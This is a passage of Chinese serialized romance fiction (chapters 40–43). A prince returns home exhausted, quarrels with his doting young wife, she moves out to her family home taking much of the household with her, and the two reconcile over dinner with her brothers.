封肆悄悄叹息一声,轻抚着她的后背,故意和她说起些别的:“今日赢了多少钱?” 她兴致缺缺,仍旧沉默。 封肆绞尽脑汁,又道:“你脖子上戴的这是什么?” “扳指。”她嘟囔一句。 “扳指?”封肆扶起她的肩。 她拿起心口前挂着的扳指,低声道:“就是跟你的那个扳指一模一样的扳指呀,你不记得了吗?我不习惯戴在手上,就挂在脖子上了。” 封肆微愣,紧紧将她抱住:“是我不好,没有空闲陪你,不跟我生气了,好不好?” “我没有生气,我只是有点儿伤心。” “媚儿伤心,我也很伤心。”封肆用脸颊蹭蹭她的脸,“乖媚儿,我也想整日在家陪你,可我要是不做事,你头上的簪子,手上的镯子可都戴不起了,你乖乖的,我忙完就回来陪你,好吗?” “噢。” 她沉默好一会儿,才闷闷不乐道,“那你要去几天?” “月底前肯定回来。” “你得说话算话,你要是不能按时回来,我就不理你了。”她凶狠狠瞪他,“知道了吗?” 封肆笑着应:“知道了知道了。” 第40章 第 40 章 他什么时候才回来呀 “小四还有几天才能回来?” “若是按月底算, 还有六日。” 柳娆撑着脑袋,仰头看着天,长长叹息。 纤云小声试探:“娘娘, 要不回去和三少爷玩?” “你没听祖母说嘛?三哥就要考试了, 叫我不准打搅他, 他明年要是考不上,就得再等几年, 到那时都老了, 肯定娶不到媳妇儿了。” “那娘娘去花房里修剪花枝?” “我都修了好几日了, 再修花都要秃了。” 纤云也没办法了,和春雪对视一眼,默默陪守着。 没多久,柳娆又开始唉声叹气:“他到底什么时候才回来呀。” 她已经这样念叨着几十回了, 侍女们的耳朵都要磨出茧子, 却还是不厌其烦地又答:“若是按月底算, 还有六日呢。” 天转凉, 丝丝落着小雨,她不坐在院子里,回到房间里,继续唉声叹气,侍女们听得都有些麻木。 雨声中,忽然一阵声音传来,她立即起身,绣鞋踩着木地板, 哒哒哒跑出:“是不是小四回来了?” 路过的侍女撑伞进门几步,躬身行礼:“回娘娘,是江公子来了。” 欢快的裙摆停下, 她愣愣问:“江公子?” “是王爷吩咐江公子来的,说是要修建浴池的。” “噢噢噢。”她恍然大悟,连忙道,“我想起来了,小四跟我说过的,快让他进来吧。” 雨天,男子撑着伞来,她定睛一看,笑道:“原来是你呀,我们在雍城见过的,你还记得我吗?” 江亦清跪地行礼:“草民拜见王妃,王妃风姿绰约,让人见之不忘。” “你真会夸人,快起来吧,下这么大的雨,地都是湿的,你再跪着,衣裳可就要湿了。” “多谢王妃。”江亦清含笑站起。 “你是来修浴池的?快进来吧,我正好没事做,我们现在就来说说建浴池的事吧。”柳娆引着他往里走,“你先前在卧房挂的贝壳蝴蝶很好看,我想将浴池池底也铺一层那种亮亮的彩贝,可以吗?” 江亦清和颜悦色:“当然可以,宁王已在信中告知过草民,彩贝早已准备妥当,随时可以动工。” 柳娆展颜一笑:“那好啊,那等小四回来就直接可以用了。” 江亦清轻咳两声。 “你着凉了吗?”柳娆朝他看去,“你是不是着凉了呀?我让人给你煮些姜汤吧?” 他连连摆手:“不必不必,多谢王妃关怀,还是继续商议修建浴池的事吧。” “噢,你没事就好。”柳娆继续往浴房走,比比划划,“就是这里,你看建差不多这么大,这个朝着内院的门外可以种些花草,可以坐在浴池里赏花。” “可以,王妃尽管吩咐,草民都会记下。” “这里挂纱帘,还有珍珠帘子……” 江亦清已经明白她的要求了,来来回回还是那些,离不开的珍珠帘子和漂亮花卉。他微微颔首:“好,草民记下了,现下便去工房让人打磨彩贝。” 柳娆眼睛一亮:“我和你一起去吧,我还不知道彩贝是如何打磨的呢。” “王妃请。”江亦清恭敬垂眸。 “诶,你是专门学这个的匠人吗?”柳娆边往外走边跟他闲话。 他不紧不慢跟上,微微垂眸:“只是对这些有些兴趣,不算什么匠人。” “我卧房里的蝴蝶都是你做的吗?真的很漂亮。” “王妃谬赞了,算是草民的点子,但不全是草民亲手做的,大多是由匠人们打磨做成。” “噢噢噢,你们真厉害啊。那你是做什么的呢?怎么会这些呢?又是怎么跟小四……我夫君认识的呢。” “草民算是商人,雍城的别院便是草民经营的,此外也会做些珠宝生意,故而懂得些珠宝工艺。家父在京中为官,草民从前是王爷的伴读之一,算是自小与王爷相识。” 柳娆连连点头,一条一条消化完,又点头肯定:“你说话真有条理,比我夫君有条理。” 江亦清垂眸浅笑:“王妃谬赞。” 柳娆又问:“那你们算是好朋友吗?” “算是吧。” “那你觉得他是好人还是坏人?” “一个人的好与坏,不是一个字一句话就能评判得清楚的,草民不敢断言。” 柳娆顿了顿,停在雨水淋湿的小径上,认真看着他:“你这样说,是因为害怕他吗?” 他微微扬唇:“若是草民惧怕王爷,应该直接回答王妃,王爷是个绝无仅有的好人,而不是说一些让人觉得似是而非的话。” “也有道理。”柳娆踮着脚尖,步伐轻快许多,“我们去看彩贝吧!” 工房在王府外院,此刻,雨幕连接的房檐中,工匠们正坐在桌前,拿着硕大的贝壳一颗颗清洗。 柳娆的目光瞬间被吸引去,盯着脏兮兮的贝壳一闪不闪,直到那颗贝壳在工匠的刷子下露出点点光芒,她忍不住惊叹:“天啊,原来它这么漂亮的吗?” 江亦清拿起清洗好的贝壳,不禁弯唇:“它们只是藏在泥下,隐藏了它们原本的色彩,清晰干净便能看见它们原本的美貌。每一颗贝壳都会有不同的色彩,这些色彩拼接在一起,才有了王妃所喜欢的流光溢彩。” 柳娆重重点头:“是好美,但是它这么坚硬,要怎么才能做出想要的形状呢?” “在贝壳上画出形状,用工具割出来,也可以打磨后再进行拼接。王妃若是有兴致,草民可以给王妃演示。” “好啊好啊,我想看!” “王妃这边请。”江亦清抬手相邀,抬步跨进单独的房间,递给她一个面罩,“打磨贝壳会有碎屑,王妃将这个戴好,以免被碎屑呛到。” 她立即围上厚厚的面罩,眨眨眼,期待地看着。 江亦清余光从她脸上掠过,掩住眼中的笑意,同样戴上面罩,拿着刻刀在贝壳上雕出蝴蝶的形状,用丝线一样的工具,沿着蝴蝶边缘慢慢切割。 碎屑飞舞,柳娆瞪大的双眼止不住眯起,目光还锲而不舍盯着,看着那只蝴蝶被完整地切割下来。 江亦清拿着刷子扫去粉尘,将那只泛着青绿色光芒的彩贝蝴蝶递出。 她接过,仔细观察片刻,欢呼道:“好漂亮啊。” 江亦清解开面罩:“这还要再打磨的,打磨后用银丝将它的边缘包裹起来,会更好看。” “我想自己做一个,可以吗?” “可以,王妃请坐。王妃想做什么样的图案?可以先用笔画出来。” 柳娆拿着笔头戳戳下巴,垂眸落笔:“做个小兔子吧,快到中秋了。” 她绘画还算不错,那只兔子画得挺好的,可上手去切割彩贝就不是那么回事了,歪歪扭扭,一个不慎还将兔子的耳朵削去了一块。 她叹了口气:“真难啊。” “第一回上手都是难的,王妃做的已经很好了。”江亦清道,“王妃是有兴致,不如让人打磨好彩贝碎片,王妃用碎片拼接图案?这样做出来的也很好看,且简单许多。” “行啊,不过我先将这个兔子割出来,可以送给小四。”她蹙蹙眉头,认真将剩下半边切割下来,小心翼翼扫去粉尘,对着昏暗的光感慨,“真漂亮,如果是在日光下,应该会更漂亮。” “草民帮王妃打磨吧。” “好,你再帮我用金丝线将它包裹成一个吊坠吧,我想将它坠在桂花香囊下,送给我夫君。” 江亦清笑了笑:“王妃真是有心。” “嘿嘿。”柳娆憨笑两声,弯着腰,仔细盯着那只贝壳兔子,看着它被打磨得更加透亮,满意点头,“那你们忙吧,我先回去了。” 江亦清茫然看着她的背影,半晌没适应她想一出是一出的风格。她却早拿着小兔子蹦蹦跳跳走远,在积水的路上踩出一朵朵水花。 雨还未停,她有事做了,也不唉声叹气了,拿着绳线串珠子、做流苏、缝荷包,将它们组合起来,找来干桂花塞进荷包,拎着转一圈。 “好看吗?” “好看,娘娘真是心灵手巧。”纤云笑着道。 “嗯!我也觉得很漂亮,就送给小四吧。”她将香囊往床头一挂,双手枕在脑后,感慨道,“真是高兴的一天啊,我们明天继续去玩彩贝吧!” 雨过天晴,她提着裙子在路上单脚跳,越过未干的水洼,落在干燥的石块上,蹦跳着,迎头遇见江亦清。 “诶!”她停止游戏,小跑过去,“你叫什么名字啊?我还不知道怎么称呼你呢。” 江亦清垂眸:“草民姓江。” “噢,小江,你也是往工房去吗?” 江亦清微顿:“是,昨日打磨了不少彩贝,草民过去看看进度,便可以让匠人们修建浴池了,王妃可以吩咐人先将浴房腾空。” “啊?我还想玩彩贝呢,能不能明天再修浴池啊?” “嗯……也行。” “行!那快走吧!”她兴高采烈,提着裙子又往前小跑,一头扎进彩贝的世界,无法自拔,小声自语,“送给爹娘,送给三哥,送给……” 拼接彩贝不难,跟玩贴画似的,还有江亦清给她善后,她看着自己的大作,成就感满满,也不关心浴池,也不念叨封肆了。 月底的最后一日,入睡前,她算了算日子,突然想起封肆还没回来。《 》 40-50 第41章 第 41 章 你就是不爱我了! “是不是月底最后一天了?”她突然发问。 侍女们一顿, 咽了口唾液:“是……” 她坐起,继续道:“他还没回来。” “是……”侍女们越发紧张。 “哼!”她将床头挂着的香囊一拽,往被子里缩去, 气道, “不给他了!” 侍女们对视一眼, 轻轻放下帐子,悄然叹息。 夜风微凉, 房中的灯未歇多久, 外面的灯突然一盏盏亮起来, 纤云穿过重重垂帘跑进来,高兴地唤:“娘娘,王爷回来了!” 柳娆睁眸,睡眼惺忪:“什么?” “王爷回来了, 正朝这边来呢!娘娘要不要起身去接?” “噢。”她迷迷糊糊往身上套着衣裳, 外衣还没系好, 脚步声从外而来, 垂帘轻响。 垂帘前,封肆走来:“不用去接。” 侍女立即起身行礼:“拜见……” “退下。”封肆抬手示意,大步上前,单膝跪在床褥上,将人搂入怀中,“宝贝,想不想我?” 她怔愣片刻,恍惚道:“你怎么这个时候回来啦?” 封肆松手, 笑着抚摸她的脸颊:“想你了,所以连夜赶回来。” “那也好晚了,我都要睡了唔……不要, 不行,你还没有洗澡……”她倒在褥子里,哼哼唧唧着推。 封肆眼眸越发幽暗,箍住她的腰,单臂将她抱起,大步往浴房的方向走。 她往前看一眼,立即高呼:“那边在修浴池,浴房暂时放在西边的厢房里了。” “换地方就换地方,不要大喊大叫。”封肆拎着她越出门,随口吩咐热水,大步跨入厢房,将她放在高案上,垂首又在她脖颈上亲吻。 她咽了口唾液,缩着脖子躲:“你先、先洗漱……” “才多久没见,就对我这样生疏了?”封肆后退两步,解开衣衫,随手朝椅上扔去,站在她跟前,拿着瓢往身上浇淋热水。 水汽蒸得她眯起眼,趁机隔着缭绕的水雾偷瞄。 封肆勾唇:“要看就大大方方地看。” “我怎么没大大方方的啦?我就是光明正大看的。”她挺挺腰杆,嘟囔道,“它大了。” “过来。”封肆嗓音微沉。 “过来做什么?”柳娆说着,却跳下案台,朝他走去,戳戳他坚实的腰腹,“你回来晚了,你知道吗?” “还没晚,这不是还没过子时吗?” “可是我都睡了,那就和过子时差不多了唔唔……” 封肆又堵住她的唇,亲得她快要喘不过气,又缓缓松开,哑声问:“想我没有?” 她小口吐着气,没缓过神来。 封肆不紧不慢剥去她的寝衣,将她往跟前一搂,低首轻吻,带着她往厢房的美人榻上一倒,四处点火。 紊乱的呼吸化成点点呜咽,在寂静的深夜格外清晰,浓重的睡意渐渐消散,她睁着春意绵绵的眼缩在他的臂弯中轻颤,渐渐平复后,转动脑袋,看着他傻笑。 封肆双眸慵懒眯起,眉峰微挑:“嗯?” 她微微爬起,半趴在他胸膛上,戳戳他的鼻尖:“你怎么现在才回来?” “事务繁忙,一忙完就赶回来了。” “噢。”她弯起唇,“你想我嘛?” “想,怎么会不想呢?我日日都在想你。” 她低头趴在他的胸膛上偷偷轻笑,胸腔的微微震动传进他的心口。 封肆合上眼,嘴角微微扬起,轻轻抚摸她的后背:“媚儿,困了,明日再陪你玩。” “啊?可是我刚醒啊。”她抬头,往上爬了爬,戳戳他的脸颊,“不许睡,你原本就回来晚了,还不陪我。” 封肆无奈弯唇:“真困了,明日起来陪你。” 她瘪嘴:“我想你现在陪我,你把我吵醒了。” 封肆长叹一口气,缓缓睁眼:“你要让我陪你做什么?” 她嘴一咧:“我们先回卧房去。” 封肆捏了捏眉心,缓缓起身,套上寝衣,缓步往外走。走几步,察觉人未跟来,他又回头:“不是要回卧房吗?” 柳娆停在原地不动,朝他伸出双臂:“你抱我。” 他无奈转身,拖着步子走近,将她打横抱起。 “你不高兴?”柳娆看着他。 “没,我只是有些累了而已。”回到卧房,他将人放下,随之往床上一卧,双眸又要合上。 柳娆立即撑开他的眼皮:“不许睡!” 他怔愣一瞬,气笑了:“媚儿,我真的困了。” “你刚刚还说要陪我的,我不管,反正你不许睡,你把我吵醒了,就算是要睡,也得把我哄睡着了再睡。” 他咬了咬牙,烦躁侧卧,将她搂进怀里,胡乱拍拍她的背:“睡吧。” “你打我!”柳娆突然惊呼。 封肆好几日未曾好好歇过,本就有些恍惚,被吼得心头重重一跳,当即眉头紧锁:“你能不闹了吗?” 说完,他又觉得不对,轻轻拍拍她的背,在她额头上亲了亲,低声道:“不早了,早些睡吧。” “噢。”柳娆沉默许久,挣脱他的环抱,缩去角落里。 他睡了不过片刻,忽然惊醒,朝身旁探去,察觉人还在床上才松了口气,从身后抱住她,睡意又涌上心头,含糊道:“乖宝贝,没有凶你,明日陪你。” 柳娆抿了抿唇,气消了,在温热的怀抱中再次入眠,天明,身后的那个怀抱再次消失不见。 “小四?小四?”她沙哑着嗓子喊两声,没能喊来封肆,将侍女们喊来。 纤云轻声进门,低声解释:“娘娘,天不亮宫中便传旨来,王爷一早就去了宫里。” 她脸一垮:“什么时候回来?” 纤云垂眸,小声道:“王爷没有说过。” “哼!”她生气抱臂,“我不要理他了!” “是宫里传旨,想必是什么要紧事,王爷办完了肯定会回来的,娘娘不如先洗漱用膳?昨日的那几个彩贝首饰还没有做完呢。”纤云试着劝解。 她瘪了瘪嘴,闷闷不乐:“噢。” 几个侍女大气不敢出一声,屏息将她扶起,小心翼翼跟在她身后,听着她将房中弄得哐哐当当响。侍女们轮番来哄,嘴皮子都快磨破,她心情终于好些,用完早膳要去工房,封肆突然回来了。 她头一抬,目光轻飘飘从他脸上掠过,轻哼一声。 “这是准备去何处?”封肆迎来。 “哼!”她哼得更大声了。 封肆好笑看她:“怎么了?还没睡醒?” 她生气瞪他:“什么怎么了?你说你今天陪我的,我一睁眼你就没影儿了!” “我有事去宫里了,她们没跟你说吗?” “那又如何?反正我醒来时没瞧见你。” 封肆笑着搂住她的腰:“你收拾得这么漂亮,是要去哪儿?出去玩?” 她对漂亮两个字很满意,但还是轻哼一声:“ 我不告诉你。” “不告诉我?”封肆抱住她的腰,将她抱回来,垂首轻笑,“不告诉我,我就不放你走。” 她抿了抿唇,还是忍不住翘起嘴角,故作生气:“噢!” “要去工房吗?”封肆搂着她坐回房中。 “你怎么知道的?”她惊讶。 封肆捉住她的手,放在唇下啄吻:“我昨日回来时便问过侍女了,她们说你这段时日都在工房做手工。” 她笑起来:“你跟我一起去吧,可有意思了。” “我有些累,改日吧。” “噢。”她嘴角垂下,“你怎么又累了?” “不是又累了,是这两日都未歇好,早上又起得太早,当然会累。在房中陪我歇歇,好吗?” 她头一扭:“不好。” 封肆微微松手:“那你去玩,我自己歇歇?” 她眉头蹙得更紧了:“你说今天陪我的!” 封肆搂着她往后倒:“那就在房中歇着,就在榻上,你想做什么,我看着就是。这段时日太累了,我实在提不起什么精神跟你去做手工,只想歇一歇……” 柳娆看着他疲惫的双眼,轻轻应一声,在他身旁躺下,捉住他的手:“那你陪我画图吧,我要拼彩贝也得先有形状才行。” 她拉着他往书桌旁走,将墨条和砚台塞给他:“你给我磨墨。” 封肆叹息一声,斜靠在桌边,不紧不慢拿着墨条转动,伴着那喋喋不休的话语,昏昏欲睡。 “你看看好看吗?” “嗯?”他恍然惊醒,胡乱点头,“好看。” 柳娆凑近,眼睫几乎刷着他的眼皮:“你都没看。” 他眯着眼浅笑:“我看了,宝贝。” “你骗人,那你说,我画的是什么?” “像是个什么图案。” “你看看你根本就说不出来。”柳娆抱着他的手臂晃来晃去,“你不爱我了,你出去一趟回来对我态度就不好了,对我不耐烦,还总是凶我。” 他无奈道:“我没有凶你,也没有不爱你,我只是有些累。” “可是你一直说累。”柳娆抱着他的脖颈,轻蹭着哼唧,“你就是不爱我了,小四,小四,你都不看我在做什么,你一点都不关心我。” 他眉头一拧:“那你关心我吗?我已经很累了,你就不能让我安静会儿吗?” 柳娆愣住,呆呆看着他。 他也微愣,他没想过自己会说出这样的话,他为了履行约定,日夜不休赶了三四天的路,此时此刻脑中正在嗡嗡作响。 第42章 第 42 章 呱 他看着眼前那张怔愣的脸, 清楚地意识到,他不能再留在这里,他不愿真和她发生争执, 他该好好冷静冷静, 最重要的是, 好好睡一觉。 “我还有事,不用等我。”他起身, 大步离去。 柳娆看着他的背影, 喃喃自语:“去哪儿?” 侍女见状, 连忙帮她追出去:“王爷何时回来?奴婢们好……” 话未说完,封肆憋闷的一肚子气终于有处可去,冷脸道:“本王要去何处,难道还要给你禀报吗?” 侍女哆哆嗦嗦跪地, 他大步离去。 管事适时跟上:“王爷可是要出门?小的这就叫人去准备车架。” 封肆大步跨上马车, 静坐片刻, 还是觉得不爽, 一把掀开车帘,道:“你去告诉她,让她给我好好反思反思,她什么时候改了她这个娇纵的性子,我什么时候回府,她要是不改,我再不会见她。去茶室!” 管事看着远去的马车,摸不准这是不是气话, 犹豫着往回走。 纤云匆匆迎来:“王爷生气了?” 管事稍稍点头,看一眼房中怔怔坐着的人,硬着头皮道:“娘娘, 王爷有话,若是娘娘不改改娇纵的性子,王爷不会再见娘娘。” 柳娆涂着明亮口脂的唇微微颤抖,小声道:“噢。” 管事不敢再多待,紧忙离去,侍女见寻他不通,立即进房去哄。 “娘娘,王爷说的大概是气话,娘娘别往心里去……” 她看着院子里的花坛,始终没有说话,半柱香的时辰过去,她抬了抬眼,起身往里走,拖出床底的箱子,打开衣柜,将里面的物品往箱子里装。 纤云慌忙上前:“娘娘这是做什么?” “回家。”她将衣裳囫囵往箱子里扔,扔完一箱又去装另一箱,“我不要做什么王妃娘娘了。” 纤云与春雪对视一眼,咽了口唾液,轻声哄:“娘娘这是说什么呢?夫妻之间哪里有不吵架的?就是老爷和夫人也有闹矛盾的时候,闹了矛盾应该想着如何解决才是,哪儿能动不动就说要走的话?” “他先走的。”她委屈极了,眼泪掉出一颗,随即便忍不住,哗啦啦往下流,哭嚎着喊,“我要回家,我要收拾东西回家!” 侍女们吓坏了,都不敢再劝,慌乱帮她将行李往箱子里塞,边塞边又哄:“娘娘想回就回吧,几位少爷不会不愿意娘娘回去的。” 她自顾自地哭一阵,收拾得越发卖力,很快将自己的行李全打包好,转头去搬架子上的花瓶。 纤云一愣,小声提醒:“娘娘,咱们的行李已经收拾完了,这花瓶是王府上的。” “什么王府上的?我说是我的就是我的!你们快点和我一起装,早装完早回去。” 花瓶、摆件、笔墨纸砚、碗碟、地毯还有各式各样的屏风,就连那架子床,都被她点名要带走,声势浩大,全府上下都被惊动。 管事急匆匆跑来:“这是在做什么?” 纤云为难道:“娘娘说要收拾行李回家……” “什么?可这不像是收拾行李,这活脱脱就是抄家啊,这我怎么和王爷交代?” “您还是赶紧去与王爷禀告吧,一会这些大件出了门、上了街,更不好看。” 柳娆正好出门,朝他们指挥:“诶,你再给我叫两个人来,我要把这架子床搬走。” 管事语塞:“这……” 纤云赶忙上前劝:“娘娘,这架子床搬回去也没地方放,家里有的是床。” “我不管,我就要这张床。” “是是,奴婢遵命……要不娘娘先行回府?这也收拾了一部分了,剩下的奴婢盯着就是,快午时了,娘娘早些回去还能赶得上午膳。” 柳娆左右看一圈:“你别把这架秋千忘了,我就先回去了。” 纤云长松一口气,一路将她送出门,紧忙叫停剩下的工程,焦急等在门口。 长长排起的马车行李从王府正门而出,朝柳府而去,路上行人免不了多打探几眼,再窃窃私语几句,柳娆今日却没心情凑热闹,静静坐在马车中出神。 柳府中,柳珣最先听见风声,拔腿便往外跑,正好和进角门的马车碰了个正着。 他冲上去:“媚儿!你又在做什么!” 柳娆推开车门,脸还垮着:“你看不出来吗?我回家了,以后不去宁王府了。” 柳珣语塞一阵,又道:“可你已经和宁王成亲了,怎么能说走就走呢?还搬回来这么多东西,你好歹先跟家里商量一声。” “你也凶我。”柳娆眼泪又冒出来,“你们都凶我!你们根本就不爱我!” “我……”柳珣跨上马车,给她抹去眼泪,轻声道,“三哥怎么会不爱你呢?三哥是担心你才这么激动的,你先告诉三哥,你为何要这样?” 她哭得更厉害了:“他凶我,欺负我,把我一个人扔在家里,还说什么我脾气不好,不要再见到我了。” 柳珣从来没见她这样委屈过,什么立场理智通通抛去脑后,止不住地心疼:“我就说他不是什么好人,先前非逼着我们家嫁女,这才几日就对你不好了,他就是个三心二意的混蛋!” 她原就委屈,听到有人应和,越发委屈,眼泪糊了一脸:“他就是个混蛋!我不要和他在一起了,他根本就不爱我!” 柳珣越发心疼,接着附和接着骂。 很快,一个哭得满脸泪痕,一个愤愤不平,若不是柳瑜赶来,柳珣已经要带着柳娆单刀赴会,跟封肆拼个你死我活了。 “大白天的,你们在鬼哭狼嚎什么?” 柳珣朝他看去,咬牙切齿道:“宁王那个喜新厌旧的混蛋不要媚儿了。” 柳瑜抬抬眉头,朝柳娆看去:“你说,发生何事了?” 她打着哭嗝,一梗一梗地哭诉:“他呃!不爱我,他呃!欺负我。” 柳瑜忍了许久才没笑出来,将柳珣往一旁拽了拽,小声道:“她胡闹,你也跟着胡闹?宁王是什么人?他能强娶,便也能强离,若真是不要她,圣旨会比她更快到家里来。” 柳珣扼腕:“不论如何说,他都欺负媚儿了,媚儿从来没这样哭过!” “你真是个愣子。”柳瑜往他头上敲一下,“你要是动了情,伤心之时,也得这样夸张。将她带回卧房,我去与祖母他们说清楚,省得他们关心生乱。” “好吧。”柳珣泄了气,冷静许多,将人送回卧房,“媚儿,你先歇歇,我让厨房送些吃食来,其余的事不着急。” 柳娆也哭累了,安安静静点头。 城中一处幽静的茶馆里,封肆睡得正熟,他已经好些日子没这样酣睡过,几乎是倒头便入眠,一向的警觉都消失殆尽,敲门声响过好几回,他才终于惊醒。 “何事打搅?”他不耐问。 “王爷,是小的。”管事战战兢兢答。 他眉头微动,捏捏眉心,起身靠坐:“进来回话。” 管事悄声进门,恭敬行礼:“拜见王爷。” “是王妃来让你来的?” “算是……” 他睡了一觉,精神恢复许多,又听见柳娆的消息,心情不错,忽略了管事的踌躇,抬眉问:“她这么快就知道错了?那还算懂事,天也不早了,回吧。” “王妃、王妃她、她不是……” “嗯?”封肆起身。 管事噗通一声跪地:“王妃她将府里搬空回娘家了……” 封肆眉头紧皱:“什么?” 管事屏息凝神重复:“王妃说要回娘家,不要做王妃了,随后便叫人搬府中的物件,连卧房里的架子床都让人拆了。” 封肆一阵头疼,腰一叉,质问:“你是如何和她说的?为何会闹成这样?” “小的便是按照王爷的吩咐,转达给了王妃。” “你转达什么了?” “王爷说。”管事清清嗓子,学,“你去告诉她,让她给我好好反思反思,她什么时候改了她这个娇纵的性子,我什么时候回府,她要是不改……” “你转达个屁!”封肆无情打断,“你听不出那是气话?赶紧去给我叫马车!我要去柳府!我告诉你,她一会要是又哭闹起来,你给我去哄!” 管事干笑两声,连连应是。他哪里敢?真叫他去哄,不得剥了他的皮? 傍晚,柳瑜正在自己院中用膳,听侍女来报,说是宁王来了,他立即放下碗筷,大步朝外走,边走边跟人吩咐。 “你去拦着些祖母父亲他们,既然宁王能寻来,那便是小事,叫他们不要乱掺和,尤其是三弟,他就是个毛头小子,什么都不明白,最容易惹祸。” 柳珣已在柳娆院门口拦着,将院门堵得严严实实。 封肆瞥他一眼,眉头皱起:“让开。” “我凭什么让开?这是我们柳家,你就算是王爷,也不能强闯民宅!媚儿不想见你,你出去!” “让开。”封肆脸色沉下。 “媚儿从没哭得这么伤心过,你不珍惜她,为何非要强娶她?就为了展示你那呼风唤雨的权势吗?我们柳家不欢迎你,媚儿也不欢迎你,你给我出去,从此往后她和你没有任何关系了!” 封肆紧握着拳,咬牙盯着他,沉声道:“滚……” 话到嘴边,他突然瞥见院门里那道海棠色的身影,他心头一跳,慌忙闭嘴,冷肃的一声滚变成了呱。 柳娆咀嚼着鸡腿的脸颊停下,怔怔看去,一头雾水,弄不明白他为什么对着三哥学青蛙。 封肆扶了扶额,深吸一口气,低声道:“你让开,我和媚儿要单独说几句。” 柳珣瞪他一眼,回头朝柳娆看去:“媚儿,你要不要和他单独说话?” “不要。”她头一扭,脸颊上亮晶晶的油渍在日光下反光。 封肆看去,嘴角忍不住扬起:“你不是哭得很伤心吗?怎么?伤心都化为食欲了?” “我就是伤心!”柳娆脚一跺,气道,“我告诉你,我再也不要和你好了,你回去吧,以后再也没有我这么可爱善良漂亮的女孩子陪着你了,你后悔也没用!” 封肆明白这个时候不能笑,可他实在忍不住,捂着脸笑得肩膀轻颤。 柳娆轻哼一声:“哭也没用,我是不会原谅你的。” 封肆指腹抹去笑出来的眼泪,稍稍正色:“好了,让你三哥让开,我们单独说。” “我才不要和你单独说呢,你就只会凶我。”她别开脸。 柳珣应和:“我们都舍不得凶媚儿,你还凶她,你赶紧走,我们和媚儿都不想再看见……” 一只手突然上前捂住他的嘴,将他拽着往旁边拖了拖,柳瑜朝人笑道:“三弟还小,不懂事,王爷莫要介怀。小妹也是娇纵惯了的,还望王爷海涵。” 封肆打量柳瑜几眼,满意颔首,大步跨进院门,一把抓起柳娆的手,牵着她往房中走。 “你干什么?”见势不妙,她连忙喊,“三哥!三哥救我!” 柳珣早被柳瑜按住,唔唔几声,也被强行拖走。 封肆将她拽进房中,反手关上门,垂眸看去,轻声道:“不许闹了,跟我回去。” 她抱臂重重冷哼:“我才不跟你回去,你骂我凶我,你根本就不是真心喜欢我的,我再也不会跟你回去了。” 封肆叹息一声,往圆凳上一坐:“好,就算是我凶你了,可你也要想想自己做了什么吧?我赶了好几日路,好几日未睡好,就是为了回来陪你,我只是想歇片刻而已,可你一直闹我,你还反过来怪我凶你?” “我没闹你,我是想和你玩,是你对我不耐烦!” “好好,不管是什么,是个人好几日不睡都会疲惫,你想想你能不能好几天不睡还一直好脾气吧。” “你没跟我说你好几天没睡。” “我没说?” “你就是没说。” 封肆又气又无奈,双手撑着腿,深吸一口气:“我说了不下五遍,我一直跟你解释,我累了,需要休息,你自己好好想想是不是,若是不行,将侍女叫来,问问她们听见没有。” “我……”柳娆理亏,小声反驳,“可是你好久没回来,我很想你,我就想你能陪着我,可你一直凶我,还叫我闭嘴。” 封肆刚要缓过来的那口气又哽住:“我什么时候叫你闭嘴了?我只说叫你安静片刻。” “那安静不就是闭嘴嘛?” 封肆双手捂脸,平复好一会儿,缓声道:“安静就是安静,没有旁的意思,我语气是不好,是因为太累了,不是故意要和你发脾气。这回出去,事务的确繁忙,我一直记得跟你的约定,怕未及时回来,会惹你伤心,几日未合眼,快马赶回来的,你就不能体谅体谅我吗?” 她垂下眼,小声道:“你凶我,凶了好几回,还转身就走,把我一个人扔在家里……” 她越说越委屈,眼泪吧嗒吧嗒往下掉,哽咽道:“你从前不是这样的,出去一趟就什么都变了,我不是你的宝贝了,不可爱了,我心里真的好难过。” 封肆听得心疼,上前几步,捉住她的手,将她带进怀里,抹去她脸上的油渍,轻声道:“你一直都是我的宝贝啊,媚儿,别哭了,是我不好,我不该凶你,不该一走了之。” 她瘪着嘴,抵在他肩头小声哭泣:“你不爱我了,不心疼我了。” “爱你啊,怎么会不爱你呢?要是不爱你,我为何要这样着急赶回来?还不是为了能早些见到你?不哭了好不好?眼睛都哭红了。”封肆扶起她的脸,又将她的眼泪抹去。 她吸吸鼻子,委屈道:“那你以后还凶不凶我?” “不凶了,不凶了。”封肆将她的眼泪又抹了抹,在她脸颊上啄吻几下,“我那会实在太困了,出去睡了一觉,眼下才清醒。” 她被拉着坐在他腿上,小声问:“在哪里睡的?” “茶馆。”封肆将脸伸过去,“宝贝,亲我一下。” 她看他两眼,敷衍在他脸上点一下。 封肆弯唇,握住她的手:“我们回去,好不好?你不是要我陪你去弄什么彩贝吗?我现在睡醒了,可以陪你去玩了。” “我今晚不想回去。”她低声道,“我让人把家里的架子床拆了,回去也没地方住。” 封肆笑道:“你拆架子床做什么?” 她嘴一撅:“你管我,我想拆就拆!” “好吧,拆就拆吧。那今晚住在哪儿?这里?” “嗯。”她反问,“不行吗?” 封肆连连点头:“行、行,那就住这儿吧,总归我接下来几日也是休息,住在哪里都一样。” “那吃饭吧,我饭还没吃完呢。”她一转身,夹起鸡腿,撕咬一口,继续咀嚼。 封肆一脸满足地看着,忍不住又往她脸上亲。 她微愣,将鸡腿递去:“你吃吗?” “我不吃,你吃就好。” “噢。”她又嚼两口,突然又开口,“对了,你刚才为什么要对着我三哥呱呱叫?” 第43章 第 43 章 还好你不是皇帝 封肆一噎, 恰好有敲门声,他立即道:“有人敲门。” 侍女的声音传进来:“王爷,娘娘, 老太太吩咐, 若是王爷还未用晚膳, 便请王爷娘娘移步前厅,一同用膳。” “那我们去那边吃吧, 人多热闹。”柳娆啃完鸡腿, 腾一下站起, 拉着他往外走,“走吧,我们去前面吃。” 柳瑜正斜倚在院门外,听见动静, 随即站正:“拜见王爷。” 封肆又打量他两眼, 抬步越过他:“不必多礼。” 柳娆好奇冲他眨眨眼:“二哥, 你怎么在这儿?” “等你们一起用晚膳。” “噢。”柳娆目光转动一圈, “三哥呢?” “在前厅。” 柳娆点点头,晃着封肆的手臂,轻快往前走。 柳瑜在后面看着,后悔没让柳珣跟着,让他看看这场面,才能好好打打他的脸。 柳珣站在门口张望,他一瞧见柳娆眼睛便亮起来,呼唤道:“媚儿!” “三哥!”柳娆欢呼着要蹿出去。 封肆抓住她的手, 不紧不慢越过:“进门吧。” 她扭着头望:“三哥,你吃晚饭了没?” 柳珣立刻跟上:“还没呢,祖母他们等着我们一起用晚膳呢。” 老太太等人迎出来:“拜见王爷, 拜见王妃。” 